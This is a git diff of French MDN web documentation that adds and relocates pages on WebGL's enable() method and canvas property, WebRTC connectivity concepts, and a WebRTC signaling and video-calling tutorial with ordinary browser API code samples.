gl.SAMPLE_COVERAGEActive le ET de la couverture des fragments avec la valeur de couverture temporaire. Voir {{domxref("WebGLRenderingContext.sampleCoverage()")}}.
gl.SCISSOR_TESTActive le test de détourage qui supprime les fragments se trouvant en dehors du rectangle de détourage. Voir {{domxref("WebGLRenderingContext.scissor()")}}.
gl.STENCIL_TESTActive le test et les mises à jour stencil dans le stencil buffer. Voir {{domxref("WebGLRenderingContext.stencilFunc()")}}.
- Lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, les valeurs suivantes sont en outre disponibles : - - - - - - - - - - - - - - -
ConstanteDescription
gl.RASTERIZER_DISCARDLes primitives sont supprimées immédiatement après l'étape de rastérisation, mais après l'étape de renvoi de transformation optionnelle. Les commandes gl.clear() sont ignorées.
-
-
- -

Valeur retournée

- -

Aucune.

- -

Exemples

- -
gl.enable(gl.DITHER);
-
- -

Pour vérifier que cette fonctionnalité est activée, utilisez la méthode {{domxref("WebGLRenderingContext.isEnabled()")}} :

- -
gl.isEnabled(gl.DITHER);
-// true
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('WebGL', "#5.14.3", "enable")}}{{Spec2('WebGL')}}Définition initiale pour WebGL.
{{SpecName('OpenGL ES 2.0', "glEnable.xml", "glEnable")}}{{Spec2('OpenGL ES 2.0')}}Page man de l'API OpenGL ES 2.0.
{{SpecName('OpenGL ES 3.0', "glEnable.xhtml", "glEnable")}}{{Spec2('OpenGL ES 3.0')}}Page man de l'API OpenGL ES 3.0 API.
- -

Compatibilité des navigateurs

- - - -

{{Compat("api.WebGLRenderingContext.enable")}}

- -

Voir aussi

- -
    -
  • {{domxref("WebGLRenderingContext.disable()")}}
    • -
  • {{domxref("WebGLRenderingContext.isEnabled()")}}
    • -
diff --git a/files/fr/web/api/webglrenderingcontext/canevas/index.html b/files/fr/web/api/webglrenderingcontext/canevas/index.html deleted file mode 100644 index 6b7965a1d7..0000000000 --- a/files/fr/web/api/webglrenderingcontext/canevas/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: WebGLRenderingContext.canvas -slug: Web/API/WebGLRenderingContext/canevas -tags: - - Propriété - - WebGL - - WebGLRenderingContext - - lecture seule -translation_of: Web/API/WebGLRenderingContext/canvas ---- -
{{APIRef("WebGL")}}
- -

La propriété WebGLRenderingContext.canvas est une référence en lecture seule à l'objet {{domxref("HTMLCanvasElement")}} ou {{domxref("OffscreenCanvas")}} associé au contexte. Il peut s'agir de {{jsxref("null")}} s'il n'est pas associé à un élément {{HTMLElement("canvas")}} ou à un objet {{domxref("OffscreenCanvas")}}.

- -

Syntaxe

- -
gl.canvas;
- -

Valeur retournée

- -

Soit un objet {{domxref("HTMLCanvasElement")}} ou {{domxref("OffscreenCanvas")}}, soit {{jsxref("null")}}.

- -

Exemples

- -

Élément canevas

- -

Étant donné cet élément {{HTMLElement("canvas")}} :

- -
<canvas id="canevas"></canvas>
-
- -

Vous pouvez en récupérer une référence à partir du WebGLRenderingContext en utilisant la propriété canvas :

- -
var canevas = document.getElementById('canevas');
-var gl = canevas.getContext('webgl');
-gl.canvas; // HTMLCanvasElement
-
- -

Canevas hors écran

- -

Exemple d'utilisation de l'objet expérimental {{domxref("OffscreenCanvas")}}.

- -
var horsEcran = new OffscreenCanvas(256, 256);
-var gl = horsEcran.getContext('webgl');
-gl.canvas; // OffscreenCanvas
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('WebGL', "#DOM-WebGLRenderingContext-canvas", "WebGLRenderingContext.canvas")}}{{Spec2('WebGL')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("api.WebGLRenderingContext.canvas")}}

- -

Voir aussi

- -
    -
  • {{domxref("CanvasRenderingContext2D.canvas")}}
    • -
  • {{domxref("OffscreenCanvas")}}
    • -
diff --git a/files/fr/web/api/webglrenderingcontext/canvas/index.html b/files/fr/web/api/webglrenderingcontext/canvas/index.html new file mode 100644 index 0000000000..6b7965a1d7 --- /dev/null +++ b/files/fr/web/api/webglrenderingcontext/canvas/index.html @@ -0,0 +1,75 @@ +--- +title: WebGLRenderingContext.canvas +slug: Web/API/WebGLRenderingContext/canevas +tags: + - Propriété + - WebGL + - WebGLRenderingContext + - lecture seule +translation_of: Web/API/WebGLRenderingContext/canvas +--- +
{{APIRef("WebGL")}}
+ +

La propriété WebGLRenderingContext.canvas est une référence en lecture seule à l'objet {{domxref("HTMLCanvasElement")}} ou {{domxref("OffscreenCanvas")}} associé au contexte. Il peut s'agir de {{jsxref("null")}} s'il n'est pas associé à un élément {{HTMLElement("canvas")}} ou à un objet {{domxref("OffscreenCanvas")}}.

+ +

Syntaxe

+ +
gl.canvas;
+ +

Valeur retournée

+ +

Soit un objet {{domxref("HTMLCanvasElement")}} ou {{domxref("OffscreenCanvas")}}, soit {{jsxref("null")}}.

+ +

Exemples

+ +

Élément canevas

+ +

Étant donné cet élément {{HTMLElement("canvas")}} :

+ +
<canvas id="canevas"></canvas>
+
+ +

Vous pouvez en récupérer une référence à partir du WebGLRenderingContext en utilisant la propriété canvas :

+ +
var canevas = document.getElementById('canevas');
+var gl = canevas.getContext('webgl');
+gl.canvas; // HTMLCanvasElement
+
+ +

Canevas hors écran

+ +

Exemple d'utilisation de l'objet expérimental {{domxref("OffscreenCanvas")}}.

+ +
var horsEcran = new OffscreenCanvas(256, 256);
+var gl = horsEcran.getContext('webgl');
+gl.canvas; // OffscreenCanvas
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('WebGL', "#DOM-WebGLRenderingContext-canvas", "WebGLRenderingContext.canvas")}}{{Spec2('WebGL')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("api.WebGLRenderingContext.canvas")}}

+ +

Voir aussi

+ +
    +
  • {{domxref("CanvasRenderingContext2D.canvas")}}
    • +
  • {{domxref("OffscreenCanvas")}}
    • +
diff --git a/files/fr/web/api/webglrenderingcontext/enable/index.html b/files/fr/web/api/webglrenderingcontext/enable/index.html new file mode 100644 index 0000000000..4d3b41d6c0 --- /dev/null +++ b/files/fr/web/api/webglrenderingcontext/enable/index.html @@ -0,0 +1,145 @@ +--- +title: WebGLRenderingContext.enable() +slug: Web/API/WebGLRenderingContext/activer +tags: + - API + - Méthode + - Reference + - WebGL + - WebGLRenderingContext +translation_of: Web/API/WebGLRenderingContext/enable +--- +
{{APIRef("WebGL")}}
+ +

La méthode WebGLRenderingContext.enable() de l'API WebGL active des fonctionnalités WebGL particulières pour ce contexte.

+ +

Syntaxe

+ +
void gl.enable(fon);
+
+ +

Paramètres

+ +
+
fon
+
Un {{domxref("GLenum")}} indiquant quelle fonctionnalité WebGL activer. Valeurs possibles :
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstanteDescription
gl.BLENDActive le mélange des valeurs de couleur de fragment calculées. Voir {{domxref("WebGLRenderingContext.blendFunc()")}}.
gl.CULL_FACEActive le masquage des polygones. Voir {{domxref("WebGLRenderingContext.cullFace()")}}.
gl.DEPTH_TESTActive les comparaisons et les mises à jour dans le tampon de profondeur. Voir {{domxref("WebGLRenderingContext.depthFunc()")}}.
gl.DITHERActive le tramage des composantes de couleur avant qu'elles ne soient écrites dans le tampon de couleur.
gl.POLYGON_OFFSET_FILLActive l'ajout d'un décalage aux valeurs de profondeur des fragments de polygone. Voir {{domxref("WebGLRenderingContext.polygonOffset()")}}.
gl.SAMPLE_ALPHA_TO_COVERAGEActive le calcul d'une valeur de couverture temporaire déterminée par la valeur alpha.
gl.SAMPLE_COVERAGEActive le ET de la couverture des fragments avec la valeur de couverture temporaire. Voir {{domxref("WebGLRenderingContext.sampleCoverage()")}}.
gl.SCISSOR_TESTActive le test de détourage qui supprime les fragments se trouvant en dehors du rectangle de détourage. Voir {{domxref("WebGLRenderingContext.scissor()")}}.
gl.STENCIL_TESTActive le test et les mises à jour stencil dans le stencil buffer. Voir {{domxref("WebGLRenderingContext.stencilFunc()")}}.
+ Lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, les valeurs suivantes sont en outre disponibles : + + + + + + + + + + + + + + +
ConstanteDescription
gl.RASTERIZER_DISCARDLes primitives sont supprimées immédiatement après l'étape de rastérisation, mais après l'étape de renvoi de transformation optionnelle. Les commandes gl.clear() sont ignorées.
+
+
+ +

Valeur retournée

+ +

Aucune.

+ +

Exemples

+ +
gl.enable(gl.DITHER);
+
+ +

Pour vérifier que cette fonctionnalité est activée, utilisez la méthode {{domxref("WebGLRenderingContext.isEnabled()")}} :

+ +
gl.isEnabled(gl.DITHER);
+// true
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('WebGL', "#5.14.3", "enable")}}{{Spec2('WebGL')}}Définition initiale pour WebGL.
{{SpecName('OpenGL ES 2.0', "glEnable.xml", "glEnable")}}{{Spec2('OpenGL ES 2.0')}}Page man de l'API OpenGL ES 2.0.
{{SpecName('OpenGL ES 3.0', "glEnable.xhtml", "glEnable")}}{{Spec2('OpenGL ES 3.0')}}Page man de l'API OpenGL ES 3.0 API.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("api.WebGLRenderingContext.enable")}}

+ +

Voir aussi

+ +
    +
  • {{domxref("WebGLRenderingContext.disable()")}}
    • +
  • {{domxref("WebGLRenderingContext.isEnabled()")}}
    • +
diff --git a/files/fr/web/api/webrtc_api/connectivity/index.html b/files/fr/web/api/webrtc_api/connectivity/index.html new file mode 100644 index 0000000000..8b512d7127 --- /dev/null +++ b/files/fr/web/api/webrtc_api/connectivity/index.html @@ -0,0 +1,54 @@ +--- +title: Introduction à l'architecture WebRTC +slug: Web/Guide/API/WebRTC/WebRTC_architecture +tags: + - WebRTC +translation_of: Web/API/WebRTC_API/Connectivity +--- +

(AKA "WebRTC et l'océan des acronymes") WebRTC comporte de nombreuses parties distinctes et cela peut être accablant et source de confusion pour les nouveaux venus. Cet article a pour but d'expliquer quelles sont toutes ses parties, et comment elles s'imbriquent.

+ +

Qu’est-ce que ICE?

+ +

Interactive Connectivity Establishment (ICE) est un cadre qui permet à votre navigateur web de se connecter avec des pairs. Il y a plusieurs raisons pour qu’une connexion directe entre un pair A et un pair B ne fonctionne pas. Il a besoin de contourner les pare-feux qui pourraient empêcher la connexion de s’ouvrir, il doit vous attribuer une adresse unique si votre appareil n'a pas une adresse IP publique comme la plupart du temps et transmettre des données via un serveur si votre routeur ne permet pas de vous connecter directement avec des pairs. ICE utilise certaines des techniques suivantes décrites ci-dessous pour y parvenir :

+ +

Qu’est-ce que STUN?

+ +

Session Traversal Utilities for NAT (STUN) (acronyme dans un acronyme) est un protocole qui permet de découvrir votre adresse publique et de déterminer toute restriction dans votre routeur qui empêcherait une connexion directe avec un pair.

+ +

Le client enverra une demande à un serveur STUN sur internet qui répondra avec l'adresse du client public et informera si le client est accessible derrière un routeur NAT.

+ +

An interaction between two users of a WebRTC application involving a STUN server.

+ +

Qu’est-ce que NAT?

+ +

Network Address Translation (NAT) est utilisé pour donner à votre appareil une adresse IP publique. Un routeur aura une adresse IP publique et chaque périphérique connecté au routeur aura une adresse IP privée. Les demandes seront traduites de l'adresse IP privée de l'appareil vers l'IP publique du routeur avec un port unique. De cette façon, vous n'avez pas besoin d’avoir une adresse IP publique unique pour chaque périphérique, mais pouvez encore être découvert sur internet.

+ +

Certains routeurs auront des restrictions sur ceux qui peuvent se connecter aux dispositifs sur le réseau. Cela peut signifier que, même si nous avons l'adresse IP publique, trouvée par le serveur STUN, tout le monde ne peut pas créer une connexion. Dans ce cas, il faut se tourner vers le TURN.

+ +

Qu’est-ce que TURN?

+ +

Certains routeurs utilisant NAT emploient une restriction appelée ‘Symmetric NAT’. Cela signifie que le routeur n'accepte que les connexions de pairs auxquelles vous vous êtes déjà connecté.

+ +

Traversal Using Relays around NAT (TURN) Doit contourner la restriction de NAT Symétrique en ouvrant une connexion avec un serveur TURN et retransmettre toutes les informations par le biais de ce serveur. Vous devrez créer une connexion avec un serveur TURN et dire à tous les pairs d'envoyer des paquets au serveur qui vous seront alors expédiés. Cela vient évidemment avec une certaine surcharge et n'est donc utilisé que s'il n'y a pas d'autres alternatives.

+ +

Une interaction entre deux utilisateurs d'une application WebRTC impliquant des serveurs STUN et TURN.

+ +

Qu’est-ce que SDP?

+ +

Session Description Protocol (SDP) est une norme décrivant le contenu multimédia de la connexion comprenant la résolution, les formats, les codecs, le cryptage, etc., afin que les deux pairs puissent se comprendre une fois le transfert des données en cours. Ce n'est pas le média lui-même, mais plus les métadonnées.

+ +

Qu’est-ce qu'une Offre/Réponse et un Canal de Signal?

+ +

Malheureusement WebRTC ne peut pas créer de connexions sans une sorte de serveur au milieu. Nous appelons cela le Canal de Signal (Signal Channel). C'est une sorte de canal de communication pour échanger des informations avant de configurer une connexion, que ce soit par e-mail, carte postale ou pigeon voyageur... C’est comme bon vous semble.

+ +

L’information que nous avons besoin d'échanger est l'Offre et la Réponse qui contient juste le SDP mentionné ci-dessus.

+ +

Le pair A, qui sera l'initiateur de la connexion, va créer une offre. Il enverra ensuite cette offre au pair B en utilisant le Canal de Signal choisi. Le pair B recevra l’offre du Canal de Signal et créera la Réponse. Il renverra ensuite tout ceci au pair A via le Canal de Signal.

+ +

Qu’est-ce qu’un candidat ICE?

+ +

Autant que d'échanger des informations sur les médias (cf. Offre/Réponse et SDP), les pairs doivent échanger des informations sur la connexion réseau. Ceci est connu comme étant un candidat ICE et détaille les méthodes disponibles que le pair est en mesure de communiquer (directement ou via un serveur TURN).

+ +

L'échange entier dans un diagramme compliqué

+ +

Un schéma architectural complet montrant l'ensemble du processus WebRTC.

diff --git a/files/fr/web/api/webrtc_api/session_lifetime/index.html b/files/fr/web/api/webrtc_api/session_lifetime/index.html new file mode 100644 index 0000000000..0b14f417fb --- /dev/null +++ b/files/fr/web/api/webrtc_api/session_lifetime/index.html @@ -0,0 +1,21 @@ +--- +title: Introduction à WebRTC +slug: WebRTC/Introduction +translation_of: Web/API/WebRTC_API/Session_lifetime +--- +
+

WebRTC vous permet de faire de la communication pair-à-pair dans une application du navigateur.

+
+

Etablir la connexion

+

La connexion initiale entre les pairs doit être accomplie par un service d'application qui se charge de la découverte des utilisateurs, communication, translation d'adresse réseau (NAT) avec les flux de données.

+

Signalisation

+

La signalisation est le mécanisme par lequel les pairs envoient des messages de contrôle à chacun dans le but d'établir le protocole de communication, le canal et la méthode. Ceux-ci ne sont pas spécifiés dans le standard WebRTC. En fait, le dévelopeur peut choisir n'importe quel protocole de message (comme SIP ou XMPP), et n'importe quel canal de communication duplex (comme WebSocket ou XMLHttpRequest) en tandem avec une API de connexion persistante à un serveur (comme l'API Google Channel) pour AppEngine.

+

Transmission

+

getUserMedia

+

Objet LocalMediaStream

+

Reception

+

Le support WebRTC dans Firefox est caché derrière une préférence. Allez à about:config et positionnez 'media.navigator.enabled' à 'true'.

+
+

Il y a des fichiers de tests dans les sources pour vous donner une idée sur ce qui fonctionne. Voir: dom/media/tests/local_video_test.html. Essayez aussi la demo de service d'appel, sa page source, et son serveur source.

+
+

 

diff --git a/files/fr/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/fr/web/api/webrtc_api/signaling_and_video_calling/index.html new file mode 100644 index 0000000000..e550e4adbb --- /dev/null +++ b/files/fr/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -0,0 +1,360 @@ +--- +title: L’essentiel du WebRTC +slug: Web/Guide/API/WebRTC/WebRTC_basics +tags: + - WebRTC +translation_of: Web/API/WebRTC_API/Signaling_and_video_calling +translation_of_original: Web/API/WebRTC_API/WebRTC_basics +--- +
+

Maintenant que vous comprenez l'architecture WebRTC, vous pouvez passer à cet article, qui vous emmène à travers la création d'une application RTC multi-navigateurs.A la fin de cet article vous devriez pouvoir créer un canal de données et de médias  pair à pair qui fonctionne

+
+ +

Contenu semi-ancien, à partir de RTCPeerConnection

+ +

Les informations ci-dessous proviennent de RTCPeerConnection; elles  pourraient rester ici, comme aller ailleurs. Mais elles ne font pas partie de cette page. Alors pendant que je trie cette page, elles seront ici, jusqu'à ce que je sache où elles appartiennent pour de vrai.

+ +

Usage basique

+ +

l'utilisation de RTCPeerConnection implique la négociation d'une connexion entre votre machine  et une machine distante,et ce, en générant {{interwiki("wikipedia", "Session Description Protocol")}} a échanger entre les deux. L'appelant commence le processus en envoyant une offre à l'appareil distant, qui répond par l'acceptation ou le rejet de la demande de connexion.

+ +

Les deux parties (l'appelant et l'appelé) doivent mettre en place leurs propres instances de RTCPeerConnection pour représenter leurs extrémités de la connexion peer-to-peer:

+ +
var pc = new RTCPeerConnection();
+pc.onaddstream = function(obj) {
+  var vid = document.createElement("video");
+  document.appendChild(vid);
+  vid.srcObject = obj.stream;
+}
+
+// Helper functions
+function endCall() {
+  var videos = document.getElementsByTagName("video");
+  for (var i = 0; i < videos.length; i++) {
+    videos[i].pause();
+  }
+
+  pc.close();
+}
+
+function error(err) {
+  endCall();
+}
+ +

Initialiser un appel

+ +

l'appelant doit utiliser {{domxref("navigator.getUserMedia()")}} pour obtenir un flux vidéo, puis ajouter ce flux à l'instance de RTCPeerConnection. Une fois que cela a été fait, il doit appeler {{domxref("RTCPeerConnection.createOffer()")}} pour créer une offre,puis la configurer et l'envoyer a un serveur faisant office d'intermediaire.

+ +
// recuperer la liste des "amis" a partir du serveur
+// l'utilisateur selectionne un amis avec qui lancer la connection
+navigator.getUserMedia({video: true}, function(stream) {
+  // l'ajout d'un stream locale ne declanche pas onaddstream,
+  // donc il faut l'appeler manuellement.
+  pc.onaddstream = e => video.src = URL.createObjectURL(e.stream);
+  pc.addStream(stream);
+
+  pc.createOffer(function(offer) {
+    pc.setLocalDescription(offer, function() {
+      // envoi de l'offre au serveur qui se charge de la transmettre a "l'ami" choisit precedemment.
+    }, error);
+  }, error);
+});
+ +

Répondre à un appel

+ +

sur l'autre machine, l'ami recevra l'offre à partir du serveur en utilisant le protocole approprié (définit par le serveur). Une fois que l'offre arrive,{{domxref("navigator.getUserMedia()")}} est une fois de plus appelée pour créer le second flux, qui est ajouté à la RTCPeerConnection. Un  objet {{domxref("RTCSessionDescription")}} est créé, et mis en place comme la description du distant en appelant {{domxref("RTCPeerConnection.setRemoteDescription()")}}.

+ +

Ensuite, une réponse est créée en utilisant {{domxref("RTCPeerConnection.createAnswer()")}} et renvoyé au serveur, qui la transmet à l'appelant.

+ +
var offer = getOfferFromFriend();
+navigator.getUserMedia({video: true}, function(stream) {
+  pc.onaddstream = e => video.src = URL.createObjectURL(e.stream);
+  pc.addStream(stream);
+
+  pc.setRemoteDescription(new RTCSessionDescription(offer), function() {
+    pc.createAnswer(function(answer) {
+      pc.setLocalDescription(answer, function() {
+        // envoi de la réponse au serveur qui la transmettra a l'appelant
+      }, error);
+    }, error);
+  }, error);
+});
+ +

Gestion de la réponse

+ +

retour a la première machine, qui recois la reponse. une fois cette dernière arrivée,l'appelant utilise {{domxref("RTCPeerConnection.setRemoteDescription()")}} pour définir la réponse comme la description de l'autre l'extrémité de la connexion. 

+ +
// pc a été déclaré précédemment, lors de l'envoi de l'offre.
+var offer = getResponseFromFriend();
+pc.setRemoteDescription(new RTCSessionDescription(offer), function() { }, error);
+ +

Ancien contenu en approche!

+ +

Tout ce qui est en dessous de ce point est potentiellement obsolète. Il est toujours là en attente d'examen et d'intégration possible dans d'autres parties de la documentation où il serait encore valides.

+ +
+

Ne pas utiliser les examples de cette page. Voir l'article signalisation et appel vidéo ,pour des example mis a jour sur l'utilisation des medias WebRTC.

+
+ +

Note

+ +

Cette page contient des informations périmées selon http://stackoverflow.com/a/25065359/3760500

+ +
+

Peu importe ce que la page de MDN indique, RTPDataChannels est très désuet (faites connaître l'URL). Firefox et Chrome supportent les spec DataChannels maintenant. Idem pour DTLSSRTPKeyAgreement je pense.

+
+ +

Shims (Bibliothèque d’interception d’API)

+ +

Comme vous pouvez l'imaginer, avec une API aussi jeune, vous devez utiliser les préfixes de navigateur et les positionner dans des variables communes.

+ +
var PeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
+var IceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
+var SessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
+navigator.getUserMedia = navigator.getUserMedia || navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
+ +

PeerConnection

+ +

C'est le point de départ pour créer une connexion avec un pair. Il accepte des options de configuration sur les serveurs ICE à utiliser pour établir une connexion.

+ +
var pc = new PeerConnection(configuration, options);
+ +

RTCConfiguration

+ +

L'objet {{domxref("RTCConfiguration")}} contient l’information sur les serveurs TURN et/ou STUN à utiliser pour ICE. Ceci est requis pour s'assurer que la plupart des utilisateurs peuvent en fait créer une connexion en évitant les restrictions du NAT et du pare-feu.

+ +
var configuration = {
+    iceServers: [
+        {url: "stun:23.21.150.121"},
+        {url: "stun:stun.l.google.com:19302"},
+        {url: "turn:numb.viagenie.ca", credential: "webrtcdemo", username: "louis%40mozilla.com"}
+    ]
+}
+ +

Google met à disposition un serveur STUN public que nous pouvons utiliser. J'ai également créé un compte chez http://numb.viagenie.ca/ pour un accès gratuit à un serveur TURN. Vous pouvez faire la même chose et les remplacer par vos propres informations d'identification.

+ +

options (Cf. "Note" avant)

+ +

Selon le type de connexion, vous devez passer des options.

+ +
var options = {
+    optional: [
+        {DtlsSrtpKeyAgreement: true},
+        {RtpDataChannels: true}
+    ]
+}
+ +

DtlsSrtpKeyAgreement est exigé pour Chrome et Firefox pour interagir.

+ +

RtpDataChannels est nécessaire si nous voulons utiliser l'API DataChannels sur Firefox.

+ +

ICECandidate

+ +

Après avoir créé la connexion et en passant par les serveurs STUN et TURN disponibles, un événement sera déclenché une fois que le framework ICE aura trouvé certains « candidats » qui permettront de vous connecter avec un pair. Ceci est reconnu comme étant un candidat ICE et exécute une fonction de rappel sur PeerConnection#onicecandidate.

+ +
pc.onicecandidate = function (e) {
+    // candidate exists in e.candidate
+    if (e.candidate == null) { return }
+    send("icecandidate", JSON.stringify(e.candidate));
+    pc.onicecandidate = null;
+};
+ +

Lorsque le rappel est exécuté, nous devons utiliser le canal de signal pour envoyer le Candidat au pair. Sur Chrome, on trouve habituellement plusieurs candidats ICE, nous n’en avons besoin que d'un seul donc j'en envoie généralement une puis supprimer le descripteur. Firefox inclut le Candidat dans l'Offre SDP.

+ +

Canal de Signal

+ +

Maintenant que nous avons un candidat ICE, nous devons l’envoyer à nos pairs afin qu'ils sachent comment se connecter avec nous. Toutefois, cela nous laisse face à une problématique de l’œuf et de la poule; Nous voulons que PeerConnection envoie des données à un pair, mais avant cela, nous devons lui envoyer des métadonnées…

+ +

C'est là qu'intervient le canal de signal. C'est n'importe quel mode de transport de données qui permet aux deux pairs d’échanger des informations. Dans cet article, nous allons utiliser FireBase parce que c'est incroyablement facile à installer et ne nécessite aucun hébergement ou code serveur.

+ +

Pour l'instant imaginez seulement que deux méthodes existent: send() va prendre une clé et lui affecter des données et recv() appelle un descripteur lorsqu'une clé a une valeur.

+ +

La structure de la base de données ressemble à ceci :

+ +
{
+    "": {
+        "candidate:": …
+        "offer": …
+        "answer": …
+    }
+}
+ +

Les connexions sont divisées par un roomId et stockeront 4 éléments d'information, le candidat ICE de l'auteur de l'offre, le candidat ICE du répondeur, l'offre SDP et la réponse SDP.

+ +

Offre

+ +

Une offre SDP (Session Description Protocol) et le méta données qui décrit aux autres pairs le format attendu(video, formats, codecs, cryptage, résolution, taille, etc etc).

+ +

Un échange nécessite une offre d'un pair, alors l'autre pair doit recevoir l'offre et offrir en retour une réponse.

+ +
pc.createOffer(function (offer) {
+    pc.setLocalDescription(offer);
+
+    send("offer", JSON.stringify(offer));
+}, errorHandler, constraints);
+ +

errorHandler

+ +

S'il y avait un problème lors de la génération d’une offre, cette méthode sera exécutée avec les détails de l'erreur comme premier argument.

+ +
var errorHandler = function (err) {
+    console.error(err);
+};
+ +

constraints

+ +

Options pour l'offre SDP.

+ +
var constraints = {
+    mandatory: {
+        OfferToReceiveAudio: true,
+        OfferToReceiveVideo: true
+    }
+};
+ +

OfferToReceiveAudio/Video Dit aux autres pair que vous désirez recevoir de la vidéo ou de l'audio de leur part. Ce n'est pas nécessaire pour DataChannels.

+ +

Une fois que l'offre a été générée nous devons définir le SDP local à la nouvelle offre et l’envoyer par le canal de signal aux autres pairs et attendre leur réponse SDP.

+ +

Réponse

+ +

Une réponse SDP est comme une offre, mais est une réponse ; un peu comme répondre au téléphone. Nous pouvons seulement émettre une réponse qu’après avoir reçu une offre.

+ +
recv("offer", function (offer) {
+    offer = new SessionDescription(JSON.parse(offer))
+    pc.setRemoteDescription(offer);
+
+    pc.createAnswer(function (answer) {
+        pc.setLocalDescription(answer);
+
+        send("answer", JSON.stringify(answer));
+    }, errorHandler, constraints);
+});
+ +

DataChannel

+ +

J'expliquerai d'abord comment utiliser PeerConnection pour l'API DataChannels et le transfert de données arbitraires entre des pairs.

+ +

Note: Au moment de l’écriture de cet article, l'interopérabilité entre Chrome et Firefox n'est pas possible avec DataChannels. Chrome prend en charge un protocole similaire mais privé et soutiendra le protocole standard bientôt.

+ +
var channel = pc.createDataChannel(channelName, channelOptions);
+ +

L'auteur de l'offre doit être le pair qui crée le canal. Le répondeur recevra le canal dans le rappel (callback) ondatachannel dans le PeerConnection. Vous devez appeler createDataChannel() une fois avant de créer l'offre.

+ +

channelName

+ +

Il s'agit d'une chaîne qui agit comme une étiquette pour le nom de votre canal. AVERTISSEMENT : Assurez-vous que votre nom de canal n'a pas d'espaces ou Chrome va échouer sur createAnswer().

+ +

channelOptions

+ +
var channelOptions = {};
+ +

Ces options ne sont pas bien supportées sur Chrome donc vous pouvez laisser ça vide pour l'instant. Vérifiez le RFC pour plus d'informations sur les options.

+ +

Méthodes et événements de canal

+ +

onopen

+ +

Exécuté lorsque la connexion est établie.

+ +

onerror

+ +

Exécuté s'il y a une erreur de création de la connexion. Le premier argument est un objet d'erreur.

+ +
channel.onerror = function (err) {
+    console.error("Channel Error:", err);
+};
+ +

onmessage

+ +
channel.onmessage = function (e) {
+    console.log("Got message:", e.data);
+}
+ +

Le cœur de la connexion. Lorsque vous recevez un message, cette méthode s’exécute. Le premier argument est un objet d'événement qui contient les données, heure de réception et autres informations.

+ +

onclose

+ +

Exécuté si l'autre pair ferme la connexion.

+ +

Lier les événements

+ +

Si vous êtes le créateur du canal(l'auteur de l'offre), vous pouvez lier des événements directement à la DataChannel que vous avez créé avec createChannel. Si vous êtes l'auteur de la réponse, vous devez utiliser le callback ondatachannel dans le PeerConnection afin d'accéder au même canal.

+ +
pc.ondatachannel = function (e) {
+    e.channel.onmessage = function () { … };
+};
+ +

Le canal est disponible dans l’objet événement passé dans le descripteur en tant que e.channel.

+ +

send()

+ +
channel.send("Hi Peer!");
+ +

Cette méthode vous permet d'envoyer des données directement au pair! Incroyable. Vous devez envoyer un String, Blob, ArrayBuffer ou ArrayBufferView, alors assurez-vous de "stringifier" les objets.

+ +

close()

+ +

Ferme le canal une fois que la connexion doit se terminer. Il est recommandé de le faire sur l’ unload de la page.

+ +

Media

+ +

Maintenant nous allons couvrir la transmission de médias tels que l'audio ou la vidéo. Pour afficher la vidéo et l'audio, vous devez inclure un tag <video> dans le document avec l'attribut autoplay.

+ +

Obtenir les médias de l'utilisateur

+ +
<video id="preview" autoplay></video>
+
+var video = document.getElementById("preview");
+navigator.getUserMedia(mediaOptions, function (stream) {
+    video.src = URL.createObjectURL(stream);
+}, errorHandler);
+ +

mediaOptions

+ +

Les contraintes sur les types de médias que vous souhaitez renvoyer de l'utilisateur.

+ +
var mediaOptions = {
+    video: true,
+    audio: true
+};
+ +

Si vous voulez juste une conversation audio, supprimez la clé video.

+ +

errorHandler

+ +

Exécuté s'il y a une erreur retournée par le support demandé.

+ +

Événements Médias et Méthodes

+ +

addStream

+ +

Ajoute le flux de getUserMedia au PeerConnection.

+ +
pc.addStream(stream);
+ +

onaddstream

+ +
<video id="otherPeer" autoplay></video>
+
+var otherPeer = document.getElementById("otherPeer");
+pc.onaddstream = function (e) {
+    otherPeer.src = URL.createObjectURL(e.stream);
+};
+ +

Exécuté lorsque la connexion a été mise en place et que l'autre pair a ajouté le flux de données pour la connexion avec addStream. Vous avez besoin d'un autre tag <video> pour afficher les médias de l'autre pair.

+ +

Le premier argument est un objet d'événement avec les flux de média de l'autre pair.

+ +

Afficher la Source

+ +

Vous pouvez voir la source développée à partir de tous les extraits de code de cet article à mon repo WebRTC.

+ +
    +
  • +

    Exemple de DataChannels : code, demo

    +
    • +
  • +

    Exemple de média : code, demo

    +
    • +
diff --git a/files/fr/web/api/webrtc_api/taking_still_photos/index.html b/files/fr/web/api/webrtc_api/taking_still_photos/index.html new file mode 100644 index 0000000000..854d0dd3f7 --- /dev/null +++ b/files/fr/web/api/webrtc_api/taking_still_photos/index.html @@ -0,0 +1,161 @@ +--- +title: Prendre des photos avec la webcam +slug: WebRTC/Prendre_des_photos_avec_la_webcam +tags: + - API + - Avancé + - WebRTC + - getusermedia +translation_of: Web/API/WebRTC_API/Taking_still_photos +--- +

Introduction et demo

+

Ceci est un tutoriel rapide pour apprendre comment accéder à la caméra sur votre ordinateur et prendre des photos avec. Vous pouvez voir le code final en action dans JSFiddle. Il y a aussi une version plus avancée pour charger des photos sur imgur en JavaScript, disponible en code source sur GitHub ou en demo.

+

Les balises HTML

+

